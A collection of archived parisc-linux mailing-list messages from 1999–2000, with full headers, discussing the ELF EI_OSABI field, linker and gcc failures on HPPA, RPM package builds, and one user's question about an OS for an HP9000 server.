Original-Received: (from obrien@localhost)
	by dragon.nuxi.com (8.11.1/8.11.1) id eAPKV8x96394;
	Sat, 25 Nov 2000 12:31:08 -0800 (PST)
	(envelope-from obrien)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m3aeasitj6.fsf@otr.mynet.cygnus.com>; from drepper@redhat.com on Tue, Nov 21, 2000 at 07:18:21PM -0800
X-Operating-System: FreeBSD 5.0-CURRENT
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Xref: news.gmane.org gmane.linux.ports.parisc:8605

On Tue, Nov 21, 2000 at 07:18:21PM -0800, Ulrich Drepper wrote:
> Alan Modra <alan@linuxcare.com.au> writes:
> >   "The e_ident[EI_OSABI] value identifies the operating system and ABI to
> >    which the object is targeted"
> > 
> > Granted, this is only in a processor specific ABI, but it does flatly
> > contradict your assertions that the purpose of EI_OSABI is to flag the
> > presense of ELF extensions.
> 
> The meaning of the field changed over time.  Or better said, some
> people initially understood it differently.

Then lets get the _official_ wording changed.  Obviously my
interpretation wasn't unreasonable.   And the world does not need to have
you as a premadona keeper of the [unwritten] rules of the land.
 
-- 
-- David  (obrien@FreeBSD.org)


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Sat, 1 May 1999 02:57:51 +0000
Lines: 5
Approved: news@gmane.org
Message-ID: <19990501025751.05359@insula.local>
References: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com> <19990501022458.64384@insula.local>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619340 7059 80.91.229.3 (22 Nov 2014 01:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:20 +0000 (UTC)
To: Alex deVries <adevries@redhat.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Fri Apr 30 20:49:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA17268
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 20:49:45 -0600
Original-Received: (qmail 21988 invoked by uid 15267); 1 May 1999 02:47:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21981 invoked from network); 1 May 1999 02:47:51 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 02:47:51 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10dPqb-001Ly2C; Sat, 1 May 1999 04:49:45 +0200 (CEST)
Original-Received: (qmail 6610 invoked from network); 1 May 1999 02:50:13 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 1 May 1999 02:50:13 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id CAA08067;
	Sat, 1 May 1999 02:57:53 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <19990501022458.64384@insula.local>; from Philipp Rumpf on Sat, May 01, 1999 at 02:24:58AM +0000
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8606

> binutils/ld/emultempl/hppaelf.em is now version 1.2, was version 1.1.

I typoed there, use 1.4. We now die with an undefined reference to $global$.
should not be exactly hard to fix I guess but it is 5am here :)


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H . J . Lu" <hjl@valinux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Sat, 25 Nov 2000 12:33:40 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20001125123340.A25382@valinux.com>
References: <20001121165327.A12804@valinux.com> <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au> <20001121191129.A4978@valinux.com> <20001125122840.D96258@dragon.nuxi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619341 7066 80.91.229.3 (22 Nov 2014 01:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:21 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, Ulrich Drepper <drepper@cygnus.com>,
        John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: "David O'Brien" <obrien@FreeBSD.org>
Original-X-From: hjl@valinux.com  Sat Nov 25 13:31:40 2000
Original-Received: from mail.valinux.com (smtp-fwd.valinux.com [198.186.202.196])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA03582
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Nov 2000 13:31:39 -0700
Original-Received: from osmium.hdqt.valinux.com
	([10.3.1.14] helo=valinux.com ident=mail)
	by mail.valinux.com with esmtp (Exim 3.16 #1 (Debian))
	id 13zm10-0006QV-00; Sat, 25 Nov 2000 12:33:42 -0800
Original-Received: by valinux.com (Postfix, from userid 561)
	id 3FE03AD11; Sat, 25 Nov 2000 12:33:40 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001125122840.D96258@dragon.nuxi.com>; from obrien@FreeBSD.org on Sat, Nov 25, 2000 at 12:28:40PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8607

On Sat, Nov 25, 2000 at 12:28:40PM -0800, David O'Brien wrote:
> On Tue, Nov 21, 2000 at 07:11:29PM -0800, H . J . Lu wrote:
> > When I was at the IA64 ABI meeting yesterday, we were looking at the
> > EI_OSABI issue. Everyone at the IA64 ABI meeting agreed that what
> > Ulrich and I had said was the correct understanding.
> > 
> > "The e_ident[EI_OSABI] value identifies the operating system and ABI
> > to which the object is targeted" just means if the e_ident[EI_OSABI]
> 
> 
> Then is this *extremely* misleading text going to be changed???
> "the operating system and" needs to be deleted in the _official_
> _published_ specification.
> 

I will bring this issue up to ia64 psABI and gABI.

-- 
H.J. Lu (hjl@valinux.com)


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RPM and hppa
Date: Sat, 25 Nov 2000 20:57:05 +0000 (GMT)
Lines: 45
Approved: news@gmane.org
Message-ID: <E13zmNf-0001KK-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619341 7068 80.91.229.3 (22 Nov 2014 01:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Nov 25 13:54:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03990
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Nov 2000 13:54:38 -0700
Original-Received: (qmail 13993 invoked by uid 15267); 25 Nov 2000 20:56:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13974 invoked from network); 25 Nov 2000 20:56:58 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 25 Nov 2000 20:56:57 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 13zmNf-0001KK-00
	for parisc-linux@thepuffingroup.com; Sat, 25 Nov 2000 20:57:07 +0000
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8608

I've uploaded my first block of RPM packages to 
ftp.linux.org.uk/pub/linux/alan/HPPA along with a tar ball of built RPM 
tools for anyone who wants to play.

In doing so I've hit a few problems with the 0.5 iso (no suprises there since
its not actually meant to work reliably)

- g++ explodes trying to build groff after allocating about 400Mb of RAM.
  Building -O0 works

- the configure script for procmail tries to find the largest argument set
  that works (by searching). It crashes the kernel in doing so 8)

- ldd is causing page faults in ld.so (kernel logged ones) and dying with
  segv. Fortunately it outputs the library list first

- The linker appears to have a problem when resolving symbols between three
  shared objects while doing a shared object link.

  [Example is rpm:

	rpmlib is linked dynamically with -ldb3 -ldb

	The linker emits messages about symbols being static and should be
	built -fPIC. If you dump the libraries they are -fPIC.

	It looks as if its resolving a symbol between two shared libraries
	and making a static resolution that then blows up when the third
	library gets involved

   ]

- The kernel shows occasional page cache corruption. This actually is quite
  possibly generic test6 bugs


On the whole the toolset is working remarkably well. I've built over 100 
source package sets so far including things like ncurses and most stuff just
builds or hits portability problems (eg gmp wants to use HP format asm, 
zlib wants to be a non PIC library for performance but the HP tools dont allow
it)

Alan



From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 23:01:50 +1100 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au>
References: <E13zmNf-0001KK-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619341 7069 80.91.229.3 (22 Nov 2014 01:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: alan@linuxcare.com.au  Sun Nov 26 04:59:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA08260
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 04:59:56 -0700
Original-Received: (qmail 19780 invoked by uid 15267); 26 Nov 2000 12:02:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19773 invoked from network); 26 Nov 2000 12:02:16 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 12:02:16 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA22891;
	Sun, 26 Nov 2000 23:01:50 +1100
In-Reply-To: <E13zmNf-0001KK-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:8609

On Sat, 25 Nov 2000, Alan Cox wrote:

> - g++ explodes trying to build groff after allocating about 400Mb of RAM.
>   Building -O0 works

Yeah, this is a known issue.  I see on the gcc list that rth and others
have been working on gcc fixes recently that should address the problem.
I don't have the time/ability to fix it myself.

> - the configure script for procmail tries to find the largest argument set
>   that works (by searching). It crashes the kernel in doing so 8)
> 
> - ldd is causing page faults in ld.so (kernel logged ones) and dying with
>   segv. Fortunately it outputs the library list first

How old are your glibc and binutils?  I made some changes late October
that should have fixed this problem.  See
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/10-Oct/0146.html
Does "readelf -d" on your hppa-linux ld.so show you have a DT_TEXTREL tag?

> - The linker appears to have a problem when resolving symbols between three
>   shared objects while doing a shared object link.
> 
>   [Example is rpm:
> 
> 	rpmlib is linked dynamically with -ldb3 -ldb
> 
> 	The linker emits messages about symbols being static and should be
> 	built -fPIC. If you dump the libraries they are -fPIC.
> 
> 	It looks as if its resolving a symbol between two shared libraries
> 	and making a static resolution that then blows up when the third
> 	library gets involved
> 
>    ]

Could you put all the objects involved in the link up for ftp
somewhere?  I've just built rpm-2.5.6 without seeing this problem, but I'm
sure my setup is different to yours...

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 12:12:21 +0000 (GMT)
Lines: 16
Approved: news@gmane.org
Message-ID: <E1400fO-0001xS-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619342 7075 80.91.229.3 (22 Nov 2014 01:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:22 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Nov 26 05:10:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA08739
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 05:10:04 -0700
Original-Received: (qmail 25001 invoked by uid 15267); 26 Nov 2000 12:12:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24994 invoked from network); 26 Nov 2000 12:12:25 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 12:12:25 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1400fO-0001xS-00; Sun, 26 Nov 2000 12:12:22 +0000
In-Reply-To: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 26, 2000 11:01:50 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8610

> How old are your glibc and binutils?  I made some changes late October

>From the 0.5 cdrom

> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/10-Oct/0146.html
> Does "readelf -d" on your hppa-linux ld.so show you have a DT_TEXTREL tag?

Nope

> Could you put all the objects involved in the link up for ftp
> somewhere?  I've just built rpm-2.5.6 without seeing this problem, but I'm
> sure my setup is different to yours...

rpm 4.0. rpm2 doesnt do that 3 way link with db and db3. I'll put them up when
I get a bit of time


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 11:45:08 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200011261645.LAA13960@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619342 7078 80.91.229.3 (22 Nov 2014 01:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:22 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Nov 26 09:43:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA10005
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 09:43:07 -0700
Original-Received: (qmail 18168 invoked by uid 15267); 26 Nov 2000 16:45:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18161 invoked from network); 26 Nov 2000 16:45:28 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 16:45:28 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA13960;
	Sun, 26 Nov 2000 11:45:09 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 26, 2000 11:01:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8611

> On Sat, 25 Nov 2000, Alan Cox wrote:
> 
> > - g++ explodes trying to build groff after allocating about 400Mb of RAM.
> >   Building -O0 works
> 
> Yeah, this is a known issue.  I see on the gcc list that rth and others
> have been working on gcc fixes recently that should address the problem.
> I don't have the time/ability to fix it myself.

I think the above is a different problem.  The explosion is most likely
a problem with exception edges in the gcse pass.  Try `-fno-gcse'.  This
also appears in the tFile.cc libio test.

The pa port uses sjlj exceptions via __builtin_setjmp/longjmp.  A
nonlocal goto label is used for the target of the longjmp.  The flow
analysis assumes that an "exception" could jump to any label in the
procedure rather than just the label associated with the exception
region.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carl & Delores Walthall" <cwalthall@cwalthall.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 11:45:38 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <007701c057d0$b0a94030$10f01618@ct44715a>
References: <Pine.LNX.4.21.0011261406240.15548-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619342 7080 80.91.229.3 (22 Nov 2014 01:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:22 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Alan Modra" <alan@linuxcare.com.au>,
        "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: cwalthall@cwalthall.com  Sun Nov 26 10:38:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10592
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 10:38:31 -0700
Original-Received: (qmail 30327 invoked by uid 15267); 26 Nov 2000 17:40:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30318 invoked from network); 26 Nov 2000 17:40:53 -0000
Original-Received: from mail1.rdc1.il.home.com (24.2.1.76)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 17:40:53 -0000
Original-Received: from ct44715a ([24.22.240.16]) by mail1.rdc1.il.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001126174048.HQVK20067.mail1.rdc1.il.home.com@ct44715a>;
          Sun, 26 Nov 2000 09:40:48 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Disposition-Notification-To: "Carl & Delores Walthall" <cwalthall@cwalthall.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:8612

Does anyone know where I can find the operating system
for the HP9000 J200 Server?

Thanks Carl Walthall

----- Original Message -----
From: "Alan Modra" <alan@linuxcare.com.au>
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Cc: <parisc-linux@thepuffingroup.com>
Sent: Sunday, November 26, 2000 6:01 AM
Subject: Re: [parisc-linux] RPM and hppa


> On Sat, 25 Nov 2000, Alan Cox wrote:
>
> > - g++ explodes trying to build groff after allocating about 400Mb of
RAM.
> >   Building -O0 works
>
> Yeah, this is a known issue.  I see on the gcc list that rth and others
> have been working on gcc fixes recently that should address the problem.
> I don't have the time/ability to fix it myself.
>
> > - the configure script for procmail tries to find the largest argument
set
> >   that works (by searching). It crashes the kernel in doing so 8)
> >
> > - ldd is causing page faults in ld.so (kernel logged ones) and dying
with
> >   segv. Fortunately it outputs the library list first
>
> How old are your glibc and binutils?  I made some changes late October
> that should have fixed this problem.  See
>
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/10-Oct/0146.ht
ml
> Does "readelf -d" on your hppa-linux ld.so show you have a DT_TEXTREL tag?
>
> > - The linker appears to have a problem when resolving symbols between
three
> >   shared objects while doing a shared object link.
> >
> >   [Example is rpm:
> >
> > rpmlib is linked dynamically with -ldb3 -ldb
> >
> > The linker emits messages about symbols being static and should be
> > built -fPIC. If you dump the libraries they are -fPIC.
> >
> > It looks as if its resolving a symbol between two shared libraries
> > and making a static resolution that then blows up when the third
> > library gets involved
> >
> >    ]
>
> Could you put all the objects involved in the link up for ftp
> somewhere?  I've just built rpm-2.5.6 without seeing this problem, but I'm
> sure my setup is different to yours...
>
> Regards, Alan Modra
> --
> Linuxcare.  Support for the Revolution.
>
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carl & Delores Walthall" <cwalthall@cwalthall.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 11:47:24 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <008601c057d0$efcd5800$10f01618@ct44715a>
References: <200011261645.LAA13960@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619343 7082 80.91.229.3 (22 Nov 2014 01:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:23 +0000 (UTC)
Cc: <alan@lxorguk.ukuu.org.uk>, <parisc-linux@thepuffingroup.com>
To: "Alan Modra" <alan@linuxcare.com.au>,
        "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: cwalthall@cwalthall.com  Sun Nov 26 10:40:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10842
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 10:40:17 -0700
Original-Received: (qmail 31345 invoked by uid 15267); 26 Nov 2000 17:42:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31338 invoked from network); 26 Nov 2000 17:42:39 -0000
Original-Received: from mail1.rdc1.il.home.com (24.2.1.76)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 17:42:39 -0000
Original-Received: from ct44715a ([24.22.240.16]) by mail1.rdc1.il.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001126174233.HRGX20067.mail1.rdc1.il.home.com@ct44715a>;
          Sun, 26 Nov 2000 09:42:33 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Disposition-Notification-To: "Carl & Delores Walthall" <cwalthall@cwalthall.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:8613

Hi All

 I have a HP9000 J200 server and would like to find the operating system
software for it. Can you tell me where to look on the internet or who I may
call?
The server has a OS installed but no one can remember the user or password
information.
So they gave it to me to take home, is there a way to boot it on a floppy
and change this
information?

Thanks for any information you can give me!

Carl walthall

----- Original Message -----
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: "Alan Modra" <alan@linuxcare.com.au>
Cc: <alan@lxorguk.ukuu.org.uk>; <parisc-linux@thepuffingroup.com>
Sent: Sunday, November 26, 2000 10:45 AM
Subject: Re: [parisc-linux] RPM and hppa


> > On Sat, 25 Nov 2000, Alan Cox wrote:
> >
> > > - g++ explodes trying to build groff after allocating about 400Mb of
RAM.
> > >   Building -O0 works
> >
> > Yeah, this is a known issue.  I see on the gcc list that rth and others
> > have been working on gcc fixes recently that should address the problem.
> > I don't have the time/ability to fix it myself.
>
> I think the above is a different problem.  The explosion is most likely
> a problem with exception edges in the gcse pass.  Try `-fno-gcse'.  This
> also appears in the tFile.cc libio test.
>
> The pa port uses sjlj exceptions via __builtin_setjmp/longjmp.  A
> nonlocal goto label is used for the target of the longjmp.  The flow
> analysis assumes that an "exception" could jump to any label in the
> procedure rather than just the label associated with the exception
> region.
>
> Dave
> --
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX:
952-6605)
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linker failure with db1
Date: Sun, 26 Nov 2000 22:47:43 +0000 (GMT)
Lines: 3
Approved: news@gmane.org
Message-ID: <E140AaG-0002R1-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619343 7084 80.91.229.3 (22 Nov 2014 01:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Nov 26 15:45:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA12344
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 15:45:14 -0700
Original-Received: (qmail 12264 invoked by uid 15267); 26 Nov 2000 22:47:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12253 invoked from network); 26 Nov 2000 22:47:36 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 Nov 2000 22:47:36 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 140AaG-0002R1-00
	for parisc-linux@thepuffingroup.com; Sun, 26 Nov 2000 22:47:44 +0000
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8614

I replaced the libdb1 on the ISO with one built using the toolchain on the ISO
and all is now happy. 


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Sun, 26 Nov 2000 19:11:41 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200011270311.TAA24728@milano.cup.hp.com>
References: <008601c057d0$efcd5800$10f01618@ct44715a>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619343 7086 80.91.229.3 (22 Nov 2014 01:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Carl & Delores Walthall" <cwalthall@cwalthall.com>
Original-X-From: grundler@cup.hp.com  Sun Nov 26 20:09:19 2000
